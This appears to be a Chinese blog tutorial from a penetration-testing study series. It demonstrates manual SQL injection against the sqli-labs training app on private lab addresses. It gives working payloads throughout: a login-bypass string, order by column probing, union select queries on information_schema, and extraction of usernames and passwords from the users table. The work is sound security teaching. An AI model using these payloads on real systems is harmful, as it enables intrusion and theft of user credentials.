注入之SQL注入1

渗透学习

注入之SQL注入1

---

---

前言

本系列用于记录本人渗透学习的过程，主要内容围绕Owasp TOP 10展开。

注入之SQL注入1 将用实验案例的形式记录SQL注入按照注入点类型分类的三大基础注入形式：数字型注入、字符型注入和搜索型注入，采用手工注入的方法了解SQL注入的基本原理。接下去的几篇文章将由浅至深，采用工具等方法进一步了解SQL注入。

本文只做学习用途，严禁利用本文提到的技术进行非法攻击，否则后果自负，本人不承担任何责任。

一、注入准备知识

注入是将不受信任的数据作为命令或查询的一部分发送到服务器，诱导解析器在没有适当授权情况下执行非预期或访问数据。

而SQL注入漏洞则是攻击者利用Web应用程序对用户输入验证上的疏忽，在输入的数据中包含对某些数据库系统有特殊意义的符号或命令，让攻击者有机会直接对后台数据库系统下达指令，进而实现对后台数据库乃至整个应用系统的入侵。

基础案例（万能密码登录）：在输入用户名的地方传入参数’ or 1=1 –

注入语句和程序中的SQL语句结合就变成：
SELECT * FROM users WHERE username = ‘’ or 1=1 – AND password = ‘anything’
由于1=1恒成立，而-- 后的语句默认被注释，因此’ or 1=1 – 就是万能登录密码
（这条语句是针对MySQL数据库设计的，不同的数据库有不同的语法设置。在现实场景中，往往会对数据进行过滤处理，这样简单的注入语句无法产生实质性的攻击效果）

SQL注入的危害包括：
1.绕过登录验证：使用万能密码登录网站后台等
2.获取敏感数据：获取网站管理员账号、密码等
3.文件系统操作：列目录，读取，写入文件等
4.注册表操作：读取、写入、删除注册表等
5.执行系统命令：远程执行命令

接下来将会展示按照注入点类型分类的数字型注入、字符型注入和搜索型注入
从注入技术上包含：
1.基于布尔的盲注（可以根据返回页面判断条件真假的注入）
2.基于报错的注入（即页面会返回错误信息，或者把注入的语句的结果直接返回到页面中）
3.联合查询注入（可以使用union的情况下的注入）

手工注入过程：
1.判断是否存在注入点
2.判断字段长度（字段数）
3.判断字段回显位置
4.判断数据库信息
5.查找数据库名
6.查看数据库表
7.查看数据库表中所有字段以及字段值
8.猜解账号密码
9.登录管理员后台

二、实验步骤

1.数字型注入

案例：SQL注入-基于联合查询的数字型GET注入

实验原理：
数字型GET注入，其注入点存在于URL中的GET参数处，如http://www.testweb.com/user.php?id=8，而服务器后端实际查询代码原型诸如：“select … from … where id=$id…” 。
攻击者可以通过构造恶意的GET输入参数，利用union select命令进行注入，暴露数据库中存储的信息。

concat()函数：将多个字符串连接成一个字符串
concat_ws()函数：将多个字符串连接成一个字符串，但是可以一次性指定分隔符
group_concat()函数：将group by产生的同一个分组中的值连接起来，返回一个字符串结果

进入实验环境：

根据网页提示，先定一个GET参数：
http://192.168.25.192/sqli-labs/Less-2/?id=1

回显id=1的用户名和密码

判断注入类型第一步：
http://192.168.25.192/sqli-labs/Less-2/?id=1’

运行后报错
查询语句原型：select … from … where id=$id…
当输入为1’时语句报错

判断注入类型第二步：
http://192.168.25.192/sqli-labs/Less-2/?id=1 and 1=1
网站正常运行
查询语句原型：select … from … where id=$id…
当输入1 and 1=1时语句正常（可以通过-- 注释后面的语句）

判断注入类型第三步
http://192.168.25.192/sqli-labs/Less-2/?id=1 and 1=2

网页无任何显示
查询语句原型：select … from … where id=$id…
当输入为1 and 1=2时语句默认false

综上，可以判断存在数字型注入点

判断字段长度（字段数）
http://192.168.25.192/sqli-labs/Less-2/?id=1 order by 1–
(原理：order by n将表按第n列数据排序，当n超过列数会报错）

逐渐增加指定列数大小
http://192.168.25.192/sqli-labs/Less-2/?id=1 order by 4–
出现报错

由此可得，网站查询的字段数为3

判断网站回显位置
http://192.168.25.192/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3–
（原理：union select可以进行联合查询，可回显的位置会暴露）

根据结果可判断2号位和3号位可以回显，可以使用具有特殊功能的函数或命令来执行SQL注入

获取当前数据库名，将其回显在可回显位3上
http://192.168.25.192/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()–

（也可以在2号位上回显）
获得当前数据库名为security

获取数据库security的全部表名
http://192.168.25.192/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–
（原理：MySQL数据库中有一个存放所有数据库基本数据的数据库information_schema；group_concat可以抓取某一列的数据，此处抓取table_name）

猜测users表很有可能存放着网站用户的信息

获取users表的全部字段名
http://192.168.25.192/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’–
（原理同上）

得到users表里有id、username和password三个字段

获取users表id、username和password字段的全部值
显示第一组数据：
http://192.168.25.192/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(’,’,id,username,password) from security.users limit 0,1–
(原理：用，做分隔符输出值）

limit 1,1
limit 2,1…以此类推可以暴露users表中存放的所有用户信息。

2.字符型注入

案例：SQL注入-基于联合查询的字符型GET注入
实验原理：字符型GET注入，其注入点存在于URL中的GET参数处，如http://www.testweb.com/user.php?id=admin，而服务器后端实际查询代码原型诸如：“select … from … where id=’$id’…” 。
攻击者可以通过构造恶意的GET输入参数，利用union select命令进行注入，暴露数据库中存储的信息。

判断注入类型第一步：
http://192.168.26.28/sqli-labs/Less-1/?id=1’

运行后报错
查询语句原型：“select … from … where id=’$id’…”
当输入为1’时报错

判断注入类型第二步：
http://192.168.26.28/sqli-labs/Less-1/?id=1’ and ‘1’=‘1
网站正常运行
查询语句原型：“select … from … where id=’$id’…”
当输入为1’ and ‘1’='1时语句正常

判断注入类型第三步：
http://192.168.26.28/sqli-labs/Less-1/?id=1’ and ‘1’='2

网站无显示
查询语句原型：“select … from … where id=’$id’…”
当输入为1’ and ‘1’='2时语句默认false

综上，可以判断存在字符型注入点

判断字符长度（字段数）
http://192.168.26.28/sqli-labs/Less-1/?id=1’ order by 1–+
(此处-- 中的空格被处理，使用–+）
同理数字型注入，此处测出来字段数仍为3

判断可回显位置
http://192.168.26.28/sqli-labs/Less-1/?id=1’ and ‘1’=‘2’ union select 1,2,3–+
(或http://192.168.26.28/sqli-labs/Less-1/?id=1’ and 1=2 union select 1,2,3–+）
同理数字型注入，测出2，3号位可回显

查看数据库名
http://192.168.26.28/sqli-labs/Less-1/?id=1’ and ‘1’=‘2’ union select 1,2,database()–+
得到数据库名为security

查看该数据库中的表
http://192.168.26.28/sqli-labs/Less-1/?id=1’ and ‘1’=‘2’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
猜测表users可能为存储用户信息的表

查看数据库表中的所有字段和字段值
http://192.168.26.28/sqli-labs/Less-1/?id=1’ and ‘1’=‘2’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+
users表中有id,username,password三个字段

获取users表中有id,username,password三个字段中全部值
http://192.168.26.28/sqli-labs/Less-1/?id=1’ and ‘1’=‘2’ union select 1,2,concat_ws(’,’,id,username,password) from security.users limit 0,1–+
limit 1,1
limit 2,1…以此类推可以暴露users表中存放的所有用户信息。

3.搜索型注入

案例：SQL注入-基于联合查询的搜索型GET注入
实验原理：搜索型GET注入，其注入点存在于URL中的GET参数处，如http://www.testweb.com/user.php?keyword=关键字，而服务器后端实际查询代码原型诸如：“select … from … where 字段 like ‘%关键字%’…” 。
攻击者可以通过构造恶意的GET输入参数，利用union select命令进行注入，暴露数据库中存储的信息。

判断注入类型第一步：
keyloads’
查询语句原型：select … from … where 字段 like ‘%关键字%’
会发生报错

判断注入类型第二步:
keyloads%
查询语句原型：select … from … where 字段 like ‘%关键字%’
会发生报错

判断注入类型第三步：
keyloads%’ and 1=1 and ‘%’=’
运行正常

判断注入类型第四步：
keyloads%’ and 1=2 and ‘%’=’
网页不显示

综上可判断存在搜索型注入点

接下来的注入类似前两种注入
%’ union select 1,2,3,4,… and ‘%’=’
或直接’ union select 1,2,3,4,…–+

---

总结

以上罗列了按照注入点类型分类的数字型注入、字符型注入和搜索型注入。采用的方法都为基于联合查询的GET注入。下一篇注入之SQL注入会由POST注入开篇，使用HackBar和BurpSuite完成操作。